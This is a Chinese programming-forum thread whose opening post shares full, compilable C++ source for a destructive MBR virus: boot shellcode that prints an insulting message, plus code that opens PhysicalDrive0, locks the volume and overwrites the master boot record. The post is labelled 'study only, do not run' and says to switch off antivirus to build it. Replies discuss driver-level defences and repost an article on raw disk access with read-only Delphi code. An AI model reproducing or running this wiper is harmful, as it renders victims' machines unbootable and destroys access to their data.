| 网站首页 | 业界新闻 | 小组 | 威客 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
欢迎加入我们,一同切磋技术
用户名:   
 
密 码:  
共有 9189 人关注过本帖, 4 人收藏
标题:分享一病毒源代码,破坏MBR,危险!!仅供学习参考,勿运行(vc++2010已编译 ...
只看楼主 加入收藏
lijunbo
Rank: 1
等 级:新手上路
帖 子:13
专家分:8
注 册:2011-10-5
结帖率:100%
收藏(4)
 问题点数:0 回复次数:20 
分享一病毒源代码,破坏MBR,危险!!仅供学习参考,勿运行(vc++2010已编译通过)
我在编译的时候,杀毒软件提示病毒并将其拦截,所以会导致编译不成功。

1>D:\c++工程\windows\windows\MBR病毒.cpp : fatal error C1083: 无法打开编译器中间文件:“C:\Users\lenovo\AppData\Local\Temp\_CL_953b34fein”: Permission denied
1>
1>生成失败。


杀毒软件提示:

检测到项目:Trojan:DOS/Killmbr   警报级别:严重
类别: 特洛伊木马

描述: 这个程序很危险,它执行来自攻击者的命令。

建议的操作: 立即删除这个软件。

Security Essentials 检测到可能会侵害您的隐私或损坏计算机的程序。您仍然可以访问这些程序所使用的文件而不删除这些程序(不推荐)。若要访问这些文件,请选择“允许”操作,并单击“应用操作”。如果此选项不可用,请以管理员身份登录或请求安全管理员提供帮助。

项目:
file:C:\Users\lenovo\AppData\Local\Temp\_CL_953b34fein


如果需要生成,需先关闭杀毒软件。
警告:生成的可执行文件请勿运行,否则由此带来的后果自负
代码如下:
程序代码:
#include <windows.h>
#include <winioctl.h>

unsigned char scode[] =
"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"
"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";
/*
00000000  B81200 mov ax, 12H ; ah = 0, al = 12h (640 * 480)
00000003  CD10 int 10h ; 进入图形显示方式,隐藏光标
00000005  BD187C mov bp, Msg ; ES:BP = 串地址
00000008  B91800 mov cx, 18h ; CX = 串长度
0000000B  B80113 mov ax, 1301h ; AH = 13,  AL = 01h
0000000E  BB0C00 mov bx, 000ch ; 页号为0(BH = 0) 黑底红字(BL = 0Ch,高亮)
00000011  BA1D0E mov dx, 0e1dh ; dh行, dl列
00000014  CD10 int 10h ; 10h 号中断
00000016  E2FE loop $
Msg: db "I am virus! Fuck you :-)" 
*/
int WINAPI WinMain(
  HINSTANCE hInstance,  // handle to current instance
  HINSTANCE hPrevInstance,  // handle to previous instance
  LPSTR lpCmdLine,      // pointer to command line
  int nCmdShow          // show state of window
)
{
HANDLE hDevice;
DWORD dwBytesWritten, dwBytesReturned;
BYTE pMBR[512] = {0};

// 重新构造MBR
memcpy(pMBR, scode, sizeof(scode) - 1);
pMBR[510] = 0x55;
pMBR[511] = 0xAA;

hDevice = CreateFile
(
"\\\\.\\PHYSICALDRIVE0",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE)
  return -1;
DeviceIoControl
(
hDevice, 
FSCTL_LOCK_VOLUME, 
NULL, 
0, 
NULL, 
0, 
&dwBytesReturned, 
NULL
);
// 写入病毒内容
WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
DeviceIoControl
(
hDevice, 
FSCTL_UNLOCK_VOLUME, 
NULL, 
0, 
NULL, 
0, 
&dwBytesReturned, 
NULL
);
CloseHandle(hDevice);
return 0;
} 
搜索更多相关主题的帖子: 病毒 杀毒软件 windows 特洛伊 源代码 
2012-01-18 14:01
zaixuexi
Rank: 12Rank: 12Rank: 12
来 自:上海
等 级:火箭侠
威 望:8
帖 子:858
专家分:3233
注 册:2010-12-1
收藏
得分:0 
如果我加了层过滤驱动,你准备怎么做?

技术问题,请不要以短消息方式提问
2012-01-18 15:21
plutoi
Rank: 1
等 级:新手上路
帖 子:1
专家分:0
注 册:2012-2-22
收藏
得分:0 
看高手过招很享受,期待楼主的回复,长长小弟的见识!
2012-02-22 22:05
BianChengNan
Rank: 8Rank: 8
等 级:贵宾
威 望:13
帖 子:302
专家分:972
注 册:2011-11-30
收藏
得分:0 
真的特期待啊,学习学习

我的群:149544757 C/C++/Assembly 喜欢交流的朋友进,进群请写消息
2012-02-23 11:02
pangding
Rank: 19Rank: 19Rank: 19Rank: 19Rank: 19Rank: 19
来 自:北京
等 级:贵宾
威 望:94
帖 子:6784
专家分:16751
注 册:2008-12-20
收藏
得分:0 
懂汇编,又知道 MBR 是啥的人可能都能写这段代码。
2012-02-23 15:39
zklhp
Rank: 20Rank: 20Rank: 20Rank: 20Rank: 20
来 自:china
等 级:贵宾
威 望:254
帖 子:11485
专家分:33241
注 册:2007-7-10
收藏
得分:0 
"\\\\.\\PHYSICALDRIVE0"

可以说是XP的一个漏洞 可以用这个格式来读写MBR 不过不知道后面的补丁是不是补上了这个漏洞

不过高版本的windows比如Vista和Win 7 应该没这个问题了
2012-02-23 15:41
zklhp
Rank: 20Rank: 20Rank: 20Rank: 20Rank: 20
来 自:china
等 级:贵宾
威 望:254
帖 子:11485
专家分:33241
注 册:2007-7-10
收藏
得分:0 
[绝对爆料]NTRing3级下使用API直接读写硬盘【原创】      

--------------------------------------------------------------------------------
相信此贴一出,NT下的操作硬盘软件会满天飞,试问,如果简简单单使用一个API函数就可以读写硬盘,还会有人抱着Windows的DDK去编驱动吗?
  而今Windows对各类资源的保护可以说是无孔不入,Windows 为实现其可靠性,严格将系统划分为内核模式与用户模式,在i386系统中分别对应CPU的Ring0与Ring3级别,在Ring3级下执行的程序是不可能直接访问到硬件的。就以读写硬盘的扇区来说吧,在9X下还可以使用INT中断来读取,但是在NT下只有进入了Ring0级才可对硬盘进行操作,而进入Ring0级的方法有:设备驱动程序,中断门,调用门等等。但是今天我们要说的是在NT下Ring3级下使用API直接读写扇区。如果不相信请跟我来!
  今天API函数的主角就是CreateFile。看到这里大家有可能想拿鸡蛋扔我了,CreateFile怎么能和硬盘有关系呢。起初我也难以相信,就像我大一学习C语言时,老师告诉我fprintf,printf都是向一个文件进行输出时,我在台下也想扔他。但事实确实如此,Windows将所以的资源都看成文件,无论是真正存储在硬盘上的文件还是硬件(硬盘,显示器等)。在这里不得不佩服Windows的创新理念,文件管理一向是Windows的核心之一。在这里我是没有能力给大家讲述文件管理的,我们打开Win32Help找到CreateFile:

 HANDLE CreateFile(

    LPCTSTR lpFileName,  // pointer to name of the file
    DWORD dwDesiredAccess,  // access (read-write) mode
    DWORD dwShareMode,  // share mode
    LPSECURITY_ATTRIBUTES lpSecurityAttributes,  // pointer to security attributes
    DWORD dwCreationDistribution,  // how to create
    DWORD dwFlagsAndAttributes,  // file attributes
    HANDLE hTemplateFile   // handle to file with attributes to copy  
   );
  大家注意第一个参数的说明:
    lpFileName

      Points to a null-terminated string that specifies the name of the object (file, pipe, mailslot, communications resource, disk device, console, or directory) to create or open.

      If *lpFileName is a path, there is a default string size limit of MAX_PATH characters. This limit is related to how the CreateFile function parses paths.

      Windows NT: You can use paths longer than MAX_PATH characters by calling the wide (W) version of CreateFile and prepending "\\?\" to the path. The "\\?\" tells the function to turn off path parsing. This lets you use paths that are nearly 32,000 Unicode characters long. You must use fully-qualified paths with this technique. This also works with UNC names. The "\\?\" is ignored as part of the path. For example, "\\?\C:\myworld\private" is seen as "C:\myworld\private", and "\\?\UNC\tom_1\hotstuff\coolapps" is seen as "\\tom_1\hotstuff\coolapps".
  上面的意思大概是说"\\?\"可以引用路径(英语垃圾,大家最好自己看)。
  尤其是下面的这一段:
    Disk Devices
    Windows NT: You can use the CreateFile function to open a disk drive or a partition on a disk drive. The function returns a handle to the disk device; that handle can be used with the DeviceIOControl function. The following requirements must be met in order for such a call to succeed:

    The caller must have administrative privileges for the operation to succeed on a hard disk drive.
   
    The lpFileName string should be of the form \\.\PHYSICALDRIVEx to open the hard disk x. Hard disk numbers start at zero.For example:

    String              Meaning
    \\.\PHYSICALDRIVE2      Obtains a handle to the third physical drive on the user's computer.

    The lpFileName string should be \\.\x: to open a floppy drive x or a partition x on a hard disk.For example:

    String  Meaning
    \\.\A:  Obtains a handle to drive A on the user's computer.
    \\.\C:  Obtains a handle to drive C on the user's computer.
  没有骗大家吧,上面说如果你拥有管理员权限,那么lpFileName ==\\.\PHYSICALDRIVE2就是表示打开第三块硬盘,\\.\PHYSICALDRIVE0指的就是第一块硬盘了。lpFileName ==\\.\C:就是打开C盘了。并且返回的句柄还可以用于DeviceIOControl函数,相信大家看到这里应该放下手中的鸡蛋了吧。
  由此可以管中窥豹Windows文件管理这个核心是多么的强大。希望对大家有所帮助。

{另附上一段演示读硬盘第一扇区 保存为 Project1.dpr WinXP+Delphi7编译通过}
program Project1;

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, ExtCtrls;

{$R *.RES}

const
  BytesPerSector =512;
  SectorCount =1;
  SectorStart =0;
  drive ='\\.\PHYSICALDRIVE0';

var
  str :string;
  p :pchar;
  i :Cardinal;
  hDeviceHandle :Thandle;

begin                        
  hDeviceHandle := CreateFile(drive, GENERIC_READ,
    FILE_SHARE_READ OR FILE_SHARE_WRITE, nil, OPEN_EXISTING,0, 0);
  if (hDeviceHandle <> INVALID_HANDLE_VALUE) then
  begin
    p:=allocmem(SectorCount*BytesPerSector);

    FileSeek(hDevicehandle,SectorStart*BytesPerSector,0);
    if FileRead(hDevicehandle,p[0],SectorCount*BytesPerSector)<>SectorCount*BytesPerSector then
       raise exception.create('读取错误');

    str:='';
    for i:=0 to 512-1 do
    begin
      if i mod 16=0 then
      str:=str+format('0x%.8x ',[i]);
      str:=str+format('  %.2x',[integer(p[i])]);
      if i mod 16=15 then
      str:=str+#13#10;
    end;
    ShowMessage( str);

    freemem(p,SectorCount*BytesPerSector);
    closehandle(hDeviceHandle);
  end;
end.
{END}

很久以前的东西了 附文章一篇有兴趣可以学习学习
2012-02-23 15:46
pangding
Rank: 19Rank: 19Rank: 19Rank: 19Rank: 19Rank: 19
来 自:北京
等 级:贵宾
威 望:94
帖 子:6784
专家分:16751
注 册:2008-12-20
收藏
得分:0 
说实在的,我不是很了解 windows 的东西,那段代码也只能看懂个原理。看 zklhp 爆的料还真是学了不少东西。
原来 windows 也只有内核态和用户态,和 linux 一样。那 intel 的四级划分什么系统用全了……
2012-02-23 15:56
zklhp
Rank: 20Rank: 20Rank: 20Rank: 20Rank: 20
来 自:china
等 级:贵宾
威 望:254
帖 子:11485
专家分:33241
注 册:2007-7-10
收藏
得分:0 
那 intel 的四级划分什么系统用全了……

没有 太复杂了实现有困难

操作系统也是C写的 实现很复杂的东西也不大容易

想研究内核可以看看linux早期内核注释的书 作者貌似叫赵炯? 不过你们科班出身的应该都懂 呵呵
2012-02-23 16:09
zklhp
Rank: 20Rank: 20Rank: 20Rank: 20Rank: 20
来 自:china
等 级:贵宾
威 望:254
帖 子:11485
专家分:33241
注 册:2007-7-10
收藏
得分:0 
以下是引用pangding在2012-2-23 15:56:19的发言:

说实在的,我不是很了解 windows 的东西,那段代码也只能看懂个原理。看 zklhp 爆的料还真是学了不少东西。
原来 windows 也只有内核态和用户态,和 linux 一样。那 intel 的四级划分什么系统用全了……

额 那个东西是以前在看雪找的
2012-02-23 16:12
快速回复:分享一病毒源代码,破坏MBR,危险!!仅供学习参考,勿运行(vc++2010 ...
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.027456 second(s), 7 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved